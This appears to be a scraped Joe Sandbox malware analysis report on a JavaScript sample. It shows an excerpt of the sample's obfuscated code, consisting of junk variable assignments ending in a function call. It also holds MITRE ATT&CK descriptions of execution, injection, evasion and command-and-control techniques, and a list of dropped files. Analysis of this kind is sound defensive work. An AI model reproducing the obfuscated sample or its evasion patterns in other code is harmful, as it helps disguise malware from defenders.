1144	rzwrklx = "b";
1145	rzwrklx = "I";
1146	ltkkm = "E";
1147	ltkkm = "d";
1148	ltkkm = "k";
1149	ltkkm = "s";
1150	ltkkm = "H";
1151	ltkkm = "Y";
1152	ltkkm = "f";
1153	ltkkm = "d";
1154	ltkkm = "I";
1155	ltkkm = "X";
1156	ltkkm = "b";
1157	ltkkm = "Z";
1158	ltkkm = "A";
1159	ltkkm = "s";
1160	ltkkm = "d";
1161	mmiero = "H";
1162	mmiero = "W";
1163	mmiero = "K";
1164	mmiero = "N";
1165	mmiero = "s";
1166	mmiero = "A";
1167	mmiero = "s";
1168	mmiero = "x";
1169	mmiero = "W";
1170	mmiero = "I";
1171	mmiero = "C";
1172	mmiero = "B";
1173	mmiero = "h";
1174	mmiero = "O";
1175	mmiero = "S";
1176	mmiero = "m";
1177	mmiero = "h";
1178	mmiero = "X";
1179	mmiero = "j";
1180	mmiero = "U";
1181	mmiero = "d";
1182	mmiero = "B";
1183	mmiero = "M";
1184	mmiero = "M";
1185	mmiero = "L";
1186	mmiero = "s";
1187	mmiero = "R";
1188	mmiero = "K";
1189	mmiero = "m";
1190	phmtyt = "A";
1191	phmtyt = "S";
1192	phmtyt = "O";
1193	phmtyt = "Z";
1194	phmtyt = "q";
1195	phmtyt = "R";
1196	phmtyt = "z";
1197	phmtyt = "b";
1198	phmtyt = "F";
1199	phmtyt = "e";
1200	phmtyt = "W";
1201	phmtyt = "a";
1202	phmtyt = "j";
1203	phmtyt = "x";
1204	phmtyt = "U";
1205	phmtyt = "g";
1206	phmtyt = "h";
1207	phmtyt = "A";
1208	phmtyt = "E";
1209	phmtyt = "A";
1210	phmtyt = "j";
1211	phmtyt = "T";
1212	phmtyt = "z";
1213	phmtyt = "v";
1214	phmtyt = "D";
1215	phmtyt = "c";
1216	phmtyt = "Y";
1217	phmtyt = "u";
1218	phmtyt = "V";
1219	phmtyt = "4";
1220	hnrhykczh = "L";
1221	hnrhykczh = "C";
1222	hnrhykczh = "d";
1223	hnrhykczh = "g";
1224	hnrhykczh = "k";
1225	hnrhykczh = "z";
1226	hnrhykczh = "c";
1227	hnrhykczh = "p";
1228	hnrhykczh = "M";
1229	hnrhykczh = "I";
1230	hnrhykczh = "H";
1231	hnrhykczh = "U";
1232	hnrhykczh = "R";
1233	hnrhykczh = "g";
1234	hnrhykczh = "T";
1235	hnrhykczh = "L";
1236	hnrhykczh = "H";
1237	hnrhykczh = "j";
1238	hnrhykczh = "X";
1239	hnrhykczh = "w";
1240	hnrhykczh = "e";
1241	hnrhykczh = "b";
1242	hnrhykczh = "D";
1243	hnrhykczh = "y";
1244	hnrhykczh = "f";
1245	hnrhykczh = "i";
1246	hnrhykczh = "e";
1247	hnrhykczh = "T";
1248	hnrhykczh = "f";
1249	hnrhykczh = "I";
1250	hnrhykczh = "D";
1251	hnrhykczh = "t";
1252	hnrhykczh = "s";
1253	hnrhykczh = "s";
1254	hnrhykczh = "r";
1255	hnrhykczh = "r";
1256	hnrhykczh = "H";
1257	hnrhykczh = "k";
1258	hnrhykczh = "m";
1259	hnrhykczh = "u";
1260	hnrhykczh = "E";
1261	fcifwl = "n";
1262	fcifwl = "M";
1263	fcifwl = "G";
1264	fcifwl = "k";
1265	fcifwl = "a";
1266	fcifwl = "j";
1267	fcifwl = "I";
1268	fcifwl = "r";
1269	fcifwl = "Z";
1270	fcifwl = "j";
1271	fcifwl = "n";
1272	fcifwl = "5";
1273	zryoqkeon = "V";
1274	zryoqkeon = "Y";
1275	zryoqkeon = "E";
1276	zryoqkeon = "D";
1277	zryoqkeon = "i";
1278	zryoqkeon = "o";
1279	zryoqkeon = "H";
1280	zryoqkeon = "z";
1281	zryoqkeon = "1";
1282	tsamkyl = "p";
1283	tsamkyl = "l";
1284	tsamkyl = "b";
1285	tsamkyl = "j";
1286	tsamkyl = "t";
1287	tsamkyl = "t";
1288	tsamkyl = "K";
1289	tsamkyl = "Z";
1290	tsamkyl = "y";
1291	tsamkyl = "M";
1292	tsamkyl = "V";
1293	tsamkyl = "b";
1294	tsamkyl = "F";
1295	qrzcstiol = "g";
1296	qrzcstiol = "e";
1297	qrzcstiol = "Q";
1298	qrzcstiol = "O";
1299	qrzcstiol = "t";
1300	qrzcstiol = "u";
1301	qrzcstiol = "n";
1302	qrzcstiol = "d";
1303	qrzcstiol = "J";
1304	qrzcstiol = "E";
1305	qrzcstiol = "G";
1306	qrzcstiol = "p";
1307	qrzcstiol = "r";
1308	qrzcstiol = "b";
1309	qrzcstiol = "K";
1310	qrzcstiol = "N";
1311	qrzcstiol = "w";
1312	qrzcstiol = "U";
1313	qrzcstiol = "D";
1314	qrzcstiol = "K";
1315	qrzcstiol = "h";
1316	qrzcstiol = "K";
1317	qrzcstiol = "p";
1318	qrzcstiol = "G";
1319	qrzcstiol = "G";
1320	qrzcstiol = "S";
1321	qrzcstiol = "j";
1322	qrzcstiol = "G";
1323	qrzcstiol = "X";
1324	qrzcstiol = "v";
1325	qrzcstiol = "E";
1326	qrzcstiol = "O";
1327	qrzcstiol = "c";
1328	nyhqeze = "N";
1329	nyhqeze = "j";
1330	nyhqeze = "k";
1331	nyhqeze = "b";
1332	nyhqeze = "O";
1333	nyhqeze = "o";
1334	nyhqeze = "E";
1335	nyhqeze = "t";
1336	nyhqeze = "u";
1337	nyhqeze = "u";
1338	nyhqeze = "g";
1339	nyhqeze = "W";
1340	nyhqeze = "f";
1341	fynsc ( );	fynsc() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2708993316838119.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\37e48979-c029-4a1b-8c3e-b907bf7d29ba.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7968

Windows Analysis Report
2708993316838119.js